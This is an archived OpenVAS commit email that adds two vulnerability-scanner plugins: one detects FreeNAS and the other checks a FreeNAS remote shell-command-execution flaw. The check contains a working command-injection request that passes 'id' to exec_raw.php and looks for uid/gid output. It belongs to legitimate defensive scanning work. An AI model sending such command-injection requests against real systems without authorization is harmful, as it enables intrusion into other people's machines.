[Openvas-commits] r9463 - in trunk/openvas-plugins: . scripts

scm-commit@wald.intevation.org scm-commit at wald.intevation.org
Fri Nov 19 13:40:53 CET 2010


Author: mime
Date: 2010-11-19 13:40:50 +0100 (Fri, 19 Nov 2010)
New Revision: 9463

Added:
   trunk/openvas-plugins/scripts/gb_freenas_44974.nasl
   trunk/openvas-plugins/scripts/gb_freenas_detect.nasl
Modified:
   trunk/openvas-plugins/ChangeLog
Log:
Added new plugins

Modified: trunk/openvas-plugins/ChangeLog
===================================================================
--- trunk/openvas-plugins/ChangeLog	2010-11-19 11:40:06 UTC (rev 9462)
+++ trunk/openvas-plugins/ChangeLog	2010-11-19 12:40:50 UTC (rev 9463)
@@ -1,3 +1,9 @@
+2010-11-19  Michael Meyer <michael.meyer at greenbone.net>
+
+	* scripts/gb_freenas_44974.nasl,
+	scripts/gb_freenas_detect.nasl:
+	Added new plugins.
+
 2010-11-18  Michael Meyer <michael.meyer at greenbone.net>
 
 	* scripts/gb_wondercms_44916.nasl,

Added: trunk/openvas-plugins/scripts/gb_freenas_44974.nasl
===================================================================
--- trunk/openvas-plugins/scripts/gb_freenas_44974.nasl	2010-11-19 11:40:06 UTC (rev 9462)
+++ trunk/openvas-plugins/scripts/gb_freenas_44974.nasl	2010-11-19 12:40:50 UTC (rev 9463)
@@ -0,0 +1,81 @@
+###############################################################################
+# OpenVAS Vulnerability Test
+# $Id$
+#
+# FreeNAS Remote Shell Command Execution Vulnerability
+#
+# Authors:
+# Michael Meyer <michael.meyer at greenbone.net>
+#
+# Copyright:
+# Copyright (c) 2010 Greenbone Networks GmbH
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License version 2
+# (or any later version), as published by the Free Software Foundation.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+###############################################################################
+
+if (description)
+{
+ script_id(100912);
+ script_bugtraq_id(44974);
+ script_version ("1.0-$Revision$");
+
+ script_name("FreeNAS Remote Shell Command Execution Vulnerability");
+
+desc = "Overview:
+FreeNAS is prone to a shell-command-execution vulnerability because
+the application fails to properly sanitize user-supplied input.
+
+An attacker can exploit the remote shell-command-execution issue
+to execute arbitrary shell commands in the context of the
+webserver process.
+
+FreeNAS versions prior to 0.7.2 rev.5543 are vulnerable.
+
+References:
+https://www.securityfocus.com/bid/44974
+http://sourceforge.net/projects/freenas/";
+
+ script_tag(name:"risk_factor", value:"Critical");
+ script_description(desc);
+ script_summary("Determine if FreeNAS is prone to a shell-command-execution vulnerability");
+ script_category(ACT_ATTACK);
+ script_family("Web application abuses");
+ script_copyright("This script is Copyright (C) 2010 Greenbone Networks GmbH");
+ script_dependencies("gb_freenas_detect.nasl");
+ script_require_ports("Services/www", 80);
+ exit(0);
+}
+
+include("http_func.inc");
+include("http_keepalive.inc");
+include("version_func.inc");
+   
+port = get_http_port(default:80);
+if(!get_port_state(port))exit(0);
+if(!can_host_php(port:port))exit(0);
+
+if(!dir = get_dir_from_kb(port:port,app:"freenas"))exit(0);
+
+ex = "id";
+url = string(dir, "/exec_raw.php?cmd=",ex); 
+
+  if(http_vuln_check(port:port,url:url,pattern:"uid=[0-9]+.*gid=[0-9]+.*")) {
+     
+    security_hole(port:port);
+    exit(0);
+
+  }
+
+exit(0);
+


Property changes on: trunk/openvas-plugins/scripts/gb_freenas_44974.nasl
___________________________________________________________________
Name: svn:keywords
   + Id Revision

Added: trunk/openvas-plugins/scripts/gb_freenas_detect.nasl
===================================================================
--- trunk/openvas-plugins/scripts/gb_freenas_detect.nasl	2010-11-19 11:40:06 UTC (rev 9462)
+++ trunk/openvas-plugins/scripts/gb_freenas_detect.nasl	2010-11-19 12:40:50 UTC (rev 9463)
@@ -0,0 +1,124 @@
+###############################################################################
+# OpenVAS Vulnerability Test
+# $Id$
+#
+# FreeNAS Detection
+#
+# Authors:
+# Michael Meyer <michael.meyer at greenbone.net>
+#
+# Copyright:
+# Copyright (c) 2010 Greenbone Networks GmbH
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License version 2
+# (or any later version), as published by the Free Software Foundation.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+###############################################################################
+
+# need desc here to modify it later in script.
+desc = "Overview:
+This host is running FreeNAS, an embedded open source NAS
+(Network-Attached Storage) distribution based on FreeBSD.
+
+See also:
+http://freenas.org/";
+
+if (description)
+{
+ 
+ script_tag(name:"risk_factor", value:"None");
+ script_id(100911);
+ script_version ("1.0-$Revision$");
+
+ script_name("FreeNAS Detection");
+ script_description(desc);
+ script_summary("Checks for the presence of FreeNAS");
+ script_category(ACT_GATHER_INFO);
+ script_family("Service detection");
+ script_copyright("This script is Copyright (C) 2010 Greenbone Networks GmbH");
+ script_dependencies("find_service.nes", "http_version.nasl");
+ script_require_ports("Services/www", 80);
+ script_exclude_keys("Settings/disable_cgi_scanning");
+ exit(0);
+}
+
+
+include("http_func.inc");
+include("http_keepalive.inc");
+include("global_settings.inc");
+
+port = get_http_port(default:80);
+
+if(!get_port_state(port))exit(0);
+if(!can_host_php(port:port))exit(0);
+
+banner = get_http_banner(port:port);
+if(!banner || "Server: lighttpd" >!< banner)exit(0);
+
+dirs = make_list("/nas","/freenas",cgi_dirs());
+
+foreach dir (dirs) {
+
+ url = string(dir, "/login.php");
+ req = http_get(item:url, port:port);
+ buf = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);
+ if( buf == NULL )continue;
+
+ if("<title>FreeNAS" >< buf && "Username" >< buf && "Password" >< buf)
+ {
+     if(strlen(dir)>0) {
+        install=dir;
+     } else {
+        install=string("/");
+     }
+
+    vers = string("unknown");
+    ### try to get version 
+
+    url = string(dir, "/CHANGES");
+    req = http_get(item:url, port:port);
+    buf = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);
+
+    version = eregmatch(string: buf, pattern: "FreeNAS ([0-9bRC.]+)",icase:TRUE);
+
+    if ( !isnull(version[1]) ) {
+       vers=chomp(version[1]);
+    }
+
+    set_kb_item(name: string("www/", port, "/freenas"), value: string(vers," under ",install));
+
+    if(vers == "unknown") {
+      set_kb_item(name: string("cpe:/a:freenas:freenas"), value:TRUE);
+    } else {
+      set_kb_item(name: string("cpe:/a:freenas:freenas:",vers), value:TRUE);
+    }  
+
+    info = string("org/\n\nFreeNAS Version '");
+    info += string(vers);
+    info += string("' was detected on the remote host in the following directory(s):\n\n");
+    info += string(install, "\n");
+
+    desc = ereg_replace(
+        string:desc,
+        pattern:"org/$",
+        replace:info
+    );
+
+       if(report_verbosity > 0) {
+         security_note(port:port,data:desc);
+       }
+       exit(0);
+
+ }
+}
+exit(0);
+


Property changes on: trunk/openvas-plugins/scripts/gb_freenas_detect.nasl
___________________________________________________________________
Name: svn:keywords
   + Id Revision



More information about the Openvas-commits mailing list